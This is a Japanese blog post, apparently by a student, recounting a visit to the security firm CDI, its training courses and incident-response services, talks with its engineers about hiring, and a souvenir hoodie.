 セキュリティの技術的なことを学べる講義です。企業など様々な団体がこれを受講しているそうで、ほとんど定員が埋まるそうです。どんな講義があるかというと、マルウェアやプログラムの解析、Webやネットワークの攻撃、セキュアコーディング、メモリフォレンジックなど、実際に手を動かして学べます。企業によってはプライベートな講義内容にすることもできるそうで、その中で好評だったものが正式なコースになることもあるそうです。

  • インシデントレスポンス(緊急対応支援)

 セキュリティの事故(インシデント)が起こったとしても、その被害を最小限に食い止めたり、再発を防止したりするための対応(レスポンス)活動のことです。セキュリティ診断の時と同様に、ログやマルウェアなど個々の解析だけなく、対象となる全て(ハード・ソフトなど)を調べ、様々な情報を入手・解析します。

 企業や団体に応じた問題を解決・サポートするものです。事例がいくつかあったのでピックアップすると、サイバー攻撃の対処演習や、その演習環境の企画開発、CSIRTの構築や機能の強化などです。面白そうなものになると、組織内でのCTFを実施するための支援や、CDIハッカーによる講演やデモンストレーションなどもあるそうです。そういえば、サイトのなかにMAGUROというオンラインのCTFもあるみたいです。

MAGURO

f:id:HappyNote3966:20170316160631p:plain

 他にも色々ありますが、共通して言えることは、「人間がもたらす脅威には人間しか対処できない」という理念の元で様々なサービスを行っているということです。

CDIってどんな人が集まってるの?

 CDIの企業についてを伺った後、同じくエンジニアの福森さん、ラウリさんと一緒にお話をさせて頂きました。

 いきなり結論ですが、CDIの方はとてもレベルの高い方々の集まりだということが分かりました。お話をしているときは↓の繰り返しです。

 未熟な僕が何かしらの技術的な単語を使って質問を投げる→それに対して濃い内容で返ってくる→理解しきれず圧倒される

 何度か質問しても結果は同じで、今考えてみると貴重な経験をしているんだなぁという気持ちになります。普通の学生が5人の本職の方と同席しているのですから、非日常的な空間を体験してきました。

 でも、みなさん色んな経歴をお持ちでしたが、共通しているのは技術が好きだということ。
分からないなりに話を聞いていてそれは感じました。好きだからこそたくさん話してくださったのだと思います。その話の内容が分かったらもっと楽しいだろうなぁとも思いました。

 …で、やっぱりCDIという企業を知ったからには、採用関係のお話も気になるところ。でもなんだか採用しているイメージがあまりないので、色々と聞いてみることに。

 そもそも採用をしているかということについては、YES。それはウェブサイトを見ても分かるのですが、見たところ募集時期が「随時」となっています。
「ということは、大学を卒業してから就職するのはできないのですか?」
CDIは新卒も求めています」
あっ、新卒も大丈夫なんですね。
ただ、一般のIT企業とは異なり、一定以上の技術力・能力が求められるため、万人受けするような企業ではないとのこと。その逆から言えば、やる気があって、セキュリティで役に立ちたいと思う人であればむしろ来てほしいとも仰っていました。「我こそは!」という方なら新卒でも中途でも挑戦できるということですね。
(いつか会社説明会もやりたいなーとも…)

 また、セキュリティなどの分野に頑張る学生を支援したいとのことです。セキュリティキャンプ全国大会で講演をしたり、今回のように僕が企業の見学をさせてもらえたのもその一環だと思います。

最後に

 色々とお話を聞いて、大切だなぁと思ったことをいくつか取り上げます。

  • 数学、英語は大切

 福森さんは今機械学習を勉強しているのだとか。大学で学んだ微積線形代数などの知識は、当時勉強する理由が分からないまま勉強していましたが、今はその必要性を強く感じているそうです。数学や英語に限らず、大学で学ぶことに無駄なことはないみたいです。

  • ハッキング技術は悪用しない事

 当然といえば当然ですが、ハッキングが成功したときに得られる達成感に魅了されて、悪いことをしない事が大切です。あくまで技術は良い方向に使いましょう。

 全体として、たくさんお話を聞かせて頂いて、普通に勉強するだけでは得られない貴重な経験をさせて頂きました。この場を借りて、佐藤さん、丑丸さん、松隈さん、福森さん、ラウリさんにお礼を申し上げます。ありがとうございました!

おまけ

 お土産を貰いました。夏にCDIグッズを貰っているのに、今回も頂きました。ありがとうございます!

f:id:HappyNote3966:20170316160929j:plain

CDIパーカーです。CDIグッズが充実してきました。春休みはこれを着て過ごします。

 それと、ラウリさんの持っているデバイスの数が多かったです。スマホ×2、タブレット×1、PC×2。計5台を持ち歩いていました。そしてその中のPC一台が異常でした。形がスタイリッシュな湯たんぽかと思うほど大きく、分厚い。そして性能も桁が違いました。メモリが64GBもあるんですよ。64GBもあれば操作が軽快みたいです。この桁違いのPC、お国では普通のことなんだとか。そのPCが入ったカバンは重すぎて持ち上げることができませんでした。